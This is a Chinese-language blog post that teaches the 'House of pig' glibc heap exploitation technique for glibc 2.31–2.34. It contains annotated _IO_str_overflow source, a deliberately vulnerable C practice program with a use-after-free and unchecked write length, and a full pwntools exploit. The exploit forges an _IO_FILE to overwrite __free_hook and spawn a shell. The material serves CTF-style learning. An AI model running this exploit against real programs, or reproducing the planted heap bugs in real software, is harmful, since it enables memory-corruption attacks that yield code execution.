Featured image of post House of pig

House of pig

https://blog.csdn.net/lplum_/article/details/158356557

https://blog.csdn.net/Mr_Fmnwon/article/details/146243889

介绍

House of pig是利用largebin attack和tcache stashing unlink attack劫持IO_file的一种方式,将vtable劫持到_IO_str_jumps,利用高版本(2.30以上)_IO_str_overflow调用的malloc,memcpy,free三个函数的特性修改任意地址

在2.31到2.34中通常

1.largrbin attack修改fake_chunk的bk(为之后tcache stash 做准准备)

2.largebin attack 劫持_IO_list_all到堆地址

3.tcache stashing unlink attack伪造free_hook附近的地址为fake_chunk

4伪造_IO_FILE,用overflow触发

如果我们进行合适的伪造,_IO_str_overflow中malloc会把申请会我们的fake_chunk(一般free_hook-0先0),memcpy将free_hook修改为system,

最后free执行system(’/bin/sh')

源码分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, _IO_str_overflow),
  JUMP_INIT(underflow, _IO_str_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_str_pbackfail),
  JUMP_INIT(xsputn, _IO_default_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_str_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_default_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

int
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
	return EOF;
      else
	{
	  char *new_buf;
	  char *old_buf = fp->_IO_buf_base;
	  size_t old_blen = _IO_blen (fp);  //扩展到:((fp)->_IO_buf_end - (fp)->_IO_buf_base)
	  size_t new_size = 2 * old_blen + 100;
	  if (new_size < old_blen)
	    return EOF;
	  new_buf = malloc (new_size);   // malloc(2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100)
	  if (new_buf == NULL)
	    {
	      /*	  __ferror(fp) = 1; */
	      return EOF;
	    }
	  if (old_buf)
	    {
	      memcpy (new_buf, old_buf, old_blen);  // old_buf 内容复制到 new_buf 中
	      free (old_buf);                       // free
	      /* Make sure _IO_setb won't try to delete _IO_buf_base. */
	      fp->_IO_buf_base = NULL;
	    }
	  memset (new_buf + old_blen, '\0', new_size - old_blen);

	  _IO_setb (fp, new_buf, new_buf + new_size, 1);
	  fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
	  fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
	  fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
	  fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

	  fp->_IO_write_base = new_buf;
	  fp->_IO_write_end = fp->_IO_buf_end;
	}
    }

  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}
libc_hidden_def (_IO_str_overflow)

从函数中就能看到,利用流程如下:

伪造 IO_FILE 的_IO_buf_base
合理控制_IO_buf_end-_IO_buf_base 的值,进而控制分配的 chunk 的大小,分配到布局好的地址
满足FSOP条件

fake_file构造如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
fake_file_addr = heap_base + 0x6d0
fake_file = b''
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr>_IO_write_base
fake_file += p64(0)  # _IO_write_end
fake_file += p64(fake_file_addr + 0xe0)  # _IO_buf_base;
fake_file += p64(fake_file_addr + 0xe0+((0x108-100)//2))  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00')  # adjust to vtable
fake_file += p64(IO_str_jumps)  # fake vtable
fake_file += b'/bin/sh\x00'
fake_file += p64(0)
fake_file += p64(libc.sym['system'])
edit(2,fake_file)

demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char *chunk_list[0x100];

#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = calloc(1, size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stderr, 0LL, 2, 0LL);

    while (1) {
        menu();
        int choice = get_num();
        switch (choice) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
from pwn import *
p=process('./pig')
context.log_level='debug'
context.arch='amd64'
libc=ELF('libc-2.31.so.debug')
#libc=ELF('/home/fuguang/glibc-all-in-one/libs/2.31-0ubuntu9.18_amd64/libc.so.6')
def menu(idx):
    p.sendlineafter(b'choice',str(idx))
def add(idx,size):
    menu(1)
    p.sendlineafter(b'index',str(idx))
    p.sendlineafter(b'size',str(size))
def dele(idx):
    menu(2)
    p.sendlineafter(b'index',str(idx))
def edit(idx,content):
    menu(3)
    p.sendlineafter(b'index',str(idx))
    p.sendlineafter(b'length',str(len(content)))
    p.sendafter(b'content',content)
def show(idx):
    menu(4)
    p.sendlineafter(b'index',str(idx))
add(0,0x418)
add(1,0x18)
add(2,0x428)
add(3,0x18)
dele(2)
dele(0)
show(2)
p.recv(2)
libcbase=u64(p.recv(6).ljust(8,b'\x00'))-0x1ecbe0
print(hex(libcbase))
show(0)
p.recv(2)
heapbase=u64(p.recv(6).ljust(8,b'\x00'))-0x6d0
print(hex(heapbase))

# #接下来申请freehook-0x20为fakechunk
# #需要fakechunk->bk是可写地址
# #用largebinattack改freehook,将fwd->bk_next_size改为freehook-0x28
free_hook=libcbase+libc.sym['__free_hook']

main_area=libcbase+0x1ecfd0

add(0,0x418)
edit(2,p64(main_area)*2+p64(0)+p64(free_hook-0x28))
dele(0)
#gdb.attach(p,'b *$rebase(0x143A)')
add(0,0x408)
print(hex(free_hook))

io_list_all=libcbase+libc.sym['_IO_list_all']
edit(2,p64(main_area)*2+p64(0)+p64(io_list_all-0x20))
dele(0)
add(0,0x408)
edit(2,p64(main_area)*2+p64(heapbase+0x6d0)*2)
add(2,0x428)#6d0

print(hex(io_list_all))

for i in range(10,15):
    add(i,0x100)
for i in range(10,15):
    dele(i)
add(20,0x410)
add(21,0x18)
add(22,0x410)
add(23,0x18)
dele(20)
dele(22)
add(20,0x300)
add(22,0x300)
add(24,0x418)
print(hex(libcbase))
IO_str_jumps=libcbase+libc.sym['_IO_str_jumps']


main_arena2=libcbase+0x1ecce0

edit(22,b'\x00'*0x300+p64(0)+p64(0x111)+p64(heapbase+0x17c0)+p64(free_hook-0x20))
#gdb.attach(p,'b _int_malloc\nc')

add(25,0x100)

#gdb.attach(p)
fake_file_addr = heapbase + 0x6d0
fake_file = b''
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libcbase+libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(fake_file_addr + 0xe0)  # _IO_buf_base;
fake_file += p64(fake_file_addr + 0xe0+((0x108-100)//2))  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libcbase+libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libcbase+libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libcbase+libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00')  # adjust to vtable
fake_file += p64(IO_str_jumps)  # fake vtable
fake_file += b'/bin/sh\x00'
fake_file += p64(0)
fake_file += p64(libcbase+libc.sym['system'])
edit(2,fake_file)
gdb.attach(p)
p.sendlineafter(b'choice',b'5')

p.interactive()

关于demo和解释都是参考这篇文字https://blog.csdn.net/Mr_Fmnwon/article/details/146243889

师傅讲的很详细

共生产 19 篇文章,约 39.77k 字使用 Hugo 构建
主题 Stack 由 Jimmy 设计